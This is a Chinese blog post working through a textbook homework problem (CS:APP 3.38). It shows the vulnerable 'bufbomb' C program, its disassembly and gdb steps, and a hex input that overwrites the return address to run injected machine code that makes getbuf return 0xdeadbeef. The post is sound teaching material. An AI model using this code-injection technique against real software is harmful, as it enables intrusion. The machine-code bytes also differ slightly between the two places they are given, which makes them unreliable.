作业题3.38,关于缓冲区溢出

这篇博客详细介绍了如何在Windows环境下使用GCC处理一道关于缓冲区溢出的作业题。作者从安装MinGW和Code::Blocks开始,逐步解释如何编译和反汇编代码,理解函数栈帧结构,并通过修改输入数据覆盖返回地址来改变程序执行流程,最终实现期望的输出0xdeadbeef。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原题为:

        输入一个16进制的字符串, 使得程序输出0xdeadbeef

程序如下:

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
        val = c - '0';
      else if ('A' <= c && c <= 'F')
        val = c - 'A' + 10;
      else
        val = c - 'a' + 10;
      if (even) {
        otherd = val;
        even = 0;
      } else {
        *sp++ = otherd * 16 + val;
        even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}


 

getbuf函数中也许“显然”地会返回1,程序的典型执行情况是这样的:

Type Hex string:31 32 33 32
getbuf returned 0x1

题目要求通过输入一个数据使这个本来只会返回1的函数返回0xdeadbeef,就是在test函数中地printf中打印地是0xdeadbeef。

 

这道作业折腾了好几天,作为从未接触过Linux的人来讲,又是自学,上手着实不易。所以我觉得有必要详细记录下对于只用过Windows的爱好者,如何使用gcc来处理这道问题。

一、Windows下使用gcc

        可以使用MinGW,根据我的折腾经历,Code::Blocks是一个不错的IDE。安装后记得在我的电脑—属性—高级—环境变量里,将XXX\MinGW\bin加入PATH,cmd里运行gcc -v,能显示gcc信息的话就表明安装成功了。

二、这道题的解法

        首先将附带的程序编译一下,cmd进入代码所在目录,假设名称为main.c。

1、gcc -c main.c

2、gcc -o bufbomb main.o

3、objdump -d bufbomb.exe>bufbomb_obj.s

这样就得到程序的反汇编文件,其中几个关键函数如下:

00401447 <_getbuf>:
  401447:	55                   	push   %ebp
  401448:	89 e5                	mov    %esp,%ebp
  40144a:	83 ec 28             	sub    $0x28,%esp
  40144d:	8d 45 ec             	lea    -0x14(%ebp),%eax
  401450:	89 04 24             	mov    %eax,(%esp)
  401453:	e8 34 ff ff ff       	call   40138c <_getxs>
  401458:	b8 01 00 00 00       	mov    $0x1,%eax
  40145d:	c9                   	leave  
  40145e:	c3                   	ret    

0040145f <_test>:
  40145f:	55                   	push   %ebp
  401460:	89 e5                	mov    %esp,%ebp
  401462:	83 ec 28             	sub    $0x28,%esp
  401465:	c7 04 24 64 30 40 00 	movl   $0x403064,(%esp)
  40146c:	e8 1f 08 00 00       	call   401c90 <_printf>
  401471:	e8 d1 ff ff ff       	call   401447 <_getbuf>
  401476:	89 45 f4             	mov    %eax,-0xc(%ebp)
  401479:	8b 45 f4             	mov    -0xc(%ebp),%eax
  40147c:	89 44 24 04          	mov    %eax,0x4(%esp)
  401480:	c7 04 24 75 30 40 00 	movl   $0x403075,(%esp)
  401487:	e8 04 08 00 00       	call   401c90 <_printf>
  40148c:	c9                   	leave  
  40148d:	c3                   	ret    


来看一下getbuf函数,可以得出系统一共为getbuf分配了0x28即40个字节,其中buf[]占用了0x14即20个字节,比我们需要的多出8个字节,getbuf的栈帧结构如下图:

|            |
           |-----s--|
           |            |
           |---------| 保存的返回地址
           |            |
        0 |---------| %ebp
           |   [19]  |
           |    .       |
           |    .       |
           |    .       |
           |   [12]  |
    -8   |---------|
           |   [11]  |
           |     .      |
           |     .      |
           |     .      |
           |    [0]    |
     -20 |---------| buf
           |            |
           |            |
           |            |
           |            |
           |            |
           |            |
           |      .     |
                  .            
                  .    

           图: getbuf帧结构

 

根据教材上的方法,我们采取的手段可以是输入的数据在保持%ebp不变的情况下,覆盖掉原返回地址并将其指向buf的首地址。

Step 1:要使输出为0xdeadbeef,我们需要输入的内容

回到上面的反汇编文件,test函数里面可以看到,调用getbuf后test地址为0x401476,因此在getbuf的栈帧结构里,返回地址也同样是0x401476;或者可以通过gdb调试来确定这个返回地址,操作如下:

1、<gdb>gdb bufbomb

2、<gdb>r

3、<gdb>p/x *((int*) $ebp+1)

同样显示得到$1=0x401476。

这里顺便输入<gdb>p/x ((int*)-5),就得到了buf[]的首地址:0x22ef84。

于是,接下去就应该将0xdeadbeef输入后,直接跳转到返回地址0x401476。

mov $0xdeadbeef, %eax
mov $0x401476,    %edx
jmp *%edx


这里用文本编辑器编辑一下,然后后缀改为.s,比方命名为show.s,接着gcc -c show.s,objdum -d show.o,就能看到这段操作的机器代码:b8efbead de687614 4000ffe2,共12组;

另外还有一种方法,

mov $0xdeadbeef, %eax
push $0x401476
ret


也能达到同样的效果。

 

Step 2:制造炸弹

既然已经得到了buf[]的首地址、%ebp的值和返回地址的值,就可以制造炸弹了。bu[12]与%ebp之间有8个字节的缓冲区,实验证明这段区域填写任意值都没关系,干脆都填0好了。关键是将返回地址的值覆盖为buf[]的首地址。

直接运行程序,输入的数组为:

b8efbead  deba7614 4000ffe2    00000000 00000000          c8ef2200         84ef2200

通过反汇编得到的机器码               多余8个字节的缓冲区            %ebp            buf[]的首地址

 结果就出来了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值